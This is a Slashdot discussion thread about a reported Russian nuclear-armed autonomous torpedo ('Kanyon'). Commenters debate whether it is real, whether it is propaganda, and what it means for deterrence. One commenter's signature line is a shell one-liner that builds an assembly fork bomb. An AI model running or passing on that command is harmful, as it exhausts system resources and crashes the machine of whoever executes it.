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Pentagon Document Confirms Existence of Russian Doomsday Torpedo (popularmechanics.com)
Popular Mechanics reports that "a key U.S. nuclear weapons document confirms that the Russian government is developing the most powerful nuclear weapon in more than a half century...a 'new intercontinental, nuclear-armed undersea autonomous torpedo'" with a range of 6,200 miles.
But what really makes "Kanyon" nightmare fuel is the drone torpedo's payload: a 100-megaton thermonuclear weapon. By way of comparison, the atomic bomb dropped on Hiroshima was 16 kilotons, or the equivalent of 16,000 tons of TNT. Kanyon's nuke would be the equivalent of 100,000,000 tons of TNT. That's twice as powerful as Tsar Bomba, the most powerful thermonuclear weapon ever tested. Dropped on New York City, a 100-megaton bomb would kill 8 million people outright and injure 6 million more.
Kanyon is designed to attack coastal areas, destroying cities, naval bases, and ports. The mega-bomb would also generate an artificial tsunami that would surge inland, spreading radioactive contamination with the advancing water. To make matters worse there are reports the warhead is "salted" with the radioactive isotope Cobalt-60. Contaminated areas would be off-limits to humanity for up to 100 years.
Slashdot reader schwit1 adds that "being sea-based makes it immune to ballistic missile defense."
Kanyon is designed to attack coastal areas, destroying cities, naval bases, and ports. The mega-bomb would also generate an artificial tsunami that would surge inland, spreading radioactive contamination with the advancing water. To make matters worse there are reports the warhead is "salted" with the radioactive isotope Cobalt-60. Contaminated areas would be off-limits to humanity for up to 100 years.
Slashdot reader schwit1 adds that "being sea-based makes it immune to ballistic missile defense."
Can it?
Why did the chicken cross the road? Because Elon Musk put an AI chip in its head.
WTF is going over there, Vlad ? Are you guys having some kind of retro movie festival (Dr Strangelove, Wargames, On the Beach) with free vodka and meth ?
Large exchanges of salted weapons is mindlessly catastrophic.
Our missile defense systems are designed to deter the guys who can launch one, or a handful of missiles (read: Iran or, until recently, North Korea). They were never seriously expected to defend against a full-scale Russian attack.
I don't care if it's 90,000 hectares. That lake was not my doing.
I don't find this scary in and of itself because we're already at the point where we could destroy human civilization several times over, and have been for decades. I'm far more concerned that so many are goading Trump into escalating with Russia to "prove" he isn't a puppet.
Such information being made public so quickly seems to be in line with the "make people fear the Russians" campaign that's been going on since the election. Normally, this kind of thing would be classified (we overclassify EVERYTHING, and Russian nuclear capabilities is a legit secret), so a public release likely indicates an attempt to shape policy. IIRC, US intel overestimated the number of Soviet nukes by an order of magnitude, which made an easy sell for building a fuckton of nukes.
Yes, Putin is bad. Russia is bad. That doesn't mean we should trust something the Pentagon releases.
This is my signature. There are many like it, but this one is mine.
leaked by Russian television in November 201
Old news indeed!
Slashdot, fix the reply notifications... You won't get away with it...
Nuclear weapons have prevented major wars for 70 years
5 years ago I planted a greengage tree in my back garden. I have not had an elephant sit on my fence in 5 years. Behold the protective effect of my greengage tree.
Correlation is not causation.
At first thought, it would appear that this wouldn't be suited at all as a first strike weapon. Despite the immense damage it would cause, it would not directly cripple a retaliatory strike. The U.S.'s bombers and missiles are far inland and it would only sink the nuclear subs that happened to be in port nearby.
However, it COULD be used to decapitate much of the the political "leadership" (if one were to call the Trump administration that) and also much of the military leadership if it were detonated right off of Washington D.C. In fact, assuming that it could get close enough to be used (which of course is the only way it could be useful) it would be an almost instantaneous first strike weapon. Unlike a ballistic missile launched from a sub offshore on a depressed trajectory (5 min.?) or a nuke disguised as a satellite that suddenly de-orbits (20 min.?) it would be able to wipe out its target with too little time to escape. That, coupled with a "normal" first strike that would take out the land based bombers and missiles might be enough to keep the retaliation to a minimum. Or in the words of General 'Buck' Turgidson, "10-20 million (casualties) tops. Sure (they'd) get their hair mussed but (they'd) win".
Insane? Well so is the idea of an autonomous (meaning I presume there's no way to call it back) doomsday torpedo. Sounds like one could remake "The Hunt for Red October" with just a few changes; a robotic submarine capable of ending the world (or just the coast of many large nations) is accidentally launched and it must be found and destroyed before it gets within range (or becomes sentient).
Since Russia isn't nearly as vulnerable as the U.S. from coastal attacks but seems to be way behind and falling further in space technology (thanks Elon!); why not put a big rock in the sky that, with just a little nudge, would fall down the gravity well and give a non-radioactive 100MT blast? Or, if the Russians are going to go ahead and violate the nuclear arms treaty (I'm pretty sure developing a whole new strategic nuclear weapon system is not allowed), use America's lead in new biotechnologies that could target specific regions or exact populations (I'd tell you how but probably not best to talk about such things publicly).
globalism is. The Aristocracy is global now. They don't own countries, they own the world. More specifically they have property all throughout the world and don't want to see it blown up. They'll allow a few bush fire style conflicts to keep war profiteering going (Iraq, Afghanistan, etc) and they'll put down rebellions (Yemen) but they won't allow another full scale war to dip into their profits and break their stuff and, well, they're the aristocracy so they're in charge.
Hell, maybe about a decade ago Pakistan basically looked the other way while a major terrorist incident happened in India and nothing came of it. That's because an India/Pakistan war would be bad for business.
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While the article, true or not, is ripe with fearmongering...I wonder what our geopolitical rivals have to say about our undeclared "Doomsday" arsenal.
The whole story sounds like complete and utter bollocks quite frankly.
Consider
1) How big is the torpedo. There's a picture of the original Tsar Bomba here
https://en.wikipedia.org/wiki/...
It's enormous. Way larger than a torpedo tube.
2) How far away from the launching submarine would 100 Mt warhead need to be? 100 Mt is obviously an enormous amount and explosions under water are more damaging.
3) How is an 'intercontinental torpedo' propelled? It seems the propulsion system would add more weight to an already heavy concept
4) How is it guided? GPS won't work because it's underwater. Submarines use all sorts of subtle techniques like passive sonar to avoid revealing their location and ultra low frequency radio transmissions. A human crew on a sub can do this. It's far from clear a drone submarine is viable
5) Why salt the bomb? That would poison the oceans over a vast area.
It just sounds like the Russians have leaked this in attempt to make the US give up on missile defence. There's no evidence this project got funded. And Russia is so cash strapped it didn't even an SLBM subs patrolling as recently as 2006. Putin has pushed for new SLBMs and new subs to put them with the result the US no longer has nuclear primacy but that process was not exactly embarrassment free - tests failed for a while.
E.g. here in 2013
https://www.military.com/defen...
The idea Russia is going to get what is effectively a drone submarine working anytime soon when it seemed to have significant teething troubles doing what was the Russian equivalent of an Ohio class replacement is absurd. Most likely they're bullshitting in the hope it gives the US left an excuse to say that 'ballistic missile defence can't non ballistic missile threats, therefore it's not worth doing'.
Actually what it reminds me of is the US announcement of 'Star Wars' aka SDI. It wasn't technically practical then but the Russians didn't know that. If you read Gorbachev's autobiography him and Shevardnadze used SDI to make the case that the USSR had lost the Cold War and it was time to surrender. Rumours of this device are presumably intended to cause the same sentiment in the US.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, you have to launch it from your submarine anyway - you don't want it to detonate on top of you, do you?
This is a "Drone Torpedo" capable of 6,200mile range. It *is* the submarine.
SDI was part of the Strategy of Technology. It was an economic strategy, not a military one. The wikipedia page is awful, by the way. I only link to it to show that it was a real thing that people took seriously. To learn about it, it is better to go straight to the source.
The goal here isn't to demoralize us, it is to force us to spend money to develop underwater anti-drone technology.
Unfortunately for them, I think it will backfire. We can afford it. We'll end up with underwater drones and underwater anti-drones and our economic growth will still outpace Russia.
See that "Preview" button?
It looks too much like "Hey, look!! The evil child-eating communists are deploying bigger doomsday weapons!!! We must spend another trillion dollars in weapons NOW!!!" (many time later someone points that the document about the russian weapon is fake or just speculation, but it does not matter anymore because money has already created new millionaires)
Religion: The greatest weapon of mass destruction of all time
Putin isn't a lunatic who wants to end the world. He has murdered and robbed his way to the top, and he very much wants to retire with all his loot somewhere and enjoy it. Greedy materialists aren't really the type to want to destroy the world. North Korea isn't likely to shoot first unless Kim thinks that the US is about to kill him, and Putin is no different. His life is great, he has an entire country under his thumb. Both of these guys are monsters, but they are somewhat predictable in that they have motivation to want to keep their money, power, and health intact. They will act to preserve these things first and foremost.
Any investigation into doomsday weapons will be colored by these motivations. A super torpedo would be very, very slow compared to a ICBM. It would also be very large, and if detected in transit, it would give an opponent quite a bit of time to react. Moreover, there is the Dr.Strangelove problem: Unless you tell everyone about it, it serves as no deterrent so you cannot keep it secret. By telling people about it, you are giving them a first strike target and making it less likely that it will survive to complete its mission. This weapon is also limited to hitting coastal targets, that is quite a limitation.
This seems like a really expensive and risky weapon to construct. Wouldn't it just be simpler to restart the nuclear arms race, and start cranking out thousands and thousands of more conventional nuclear weapons to saturate anti-missile systems? You only need one or two to connect with a target.
However, this doomsday weapon is a great disinformation weapon if you want to 'leak' its existence and cause your opponents to worry. How much time and money will they spend trying to detect and defend from such a weapon?
HA! I just wasted some of your bandwidth with a frivolous sig!
I decided to read TFA, and it appears you are correct. The document in question compares the number of “New Nuclear Delivery Vehicles Over the Past Decade” between Russia, China, North Korea, and the US. The other three countries show numerous new ways to kill Americans, while the US section is woefully blank except for one only little blip in the far right corner.
It really is apparent the referenced one-page infographic’s sole purpose is to convince politicians that we need to spend lots of money on new nukes.
I wouldn’t be surprised if the back side of the sheet had some sort of graphic spelling out the economic damage all those unemployed Bechtel engineers are inflicting on the US economy.
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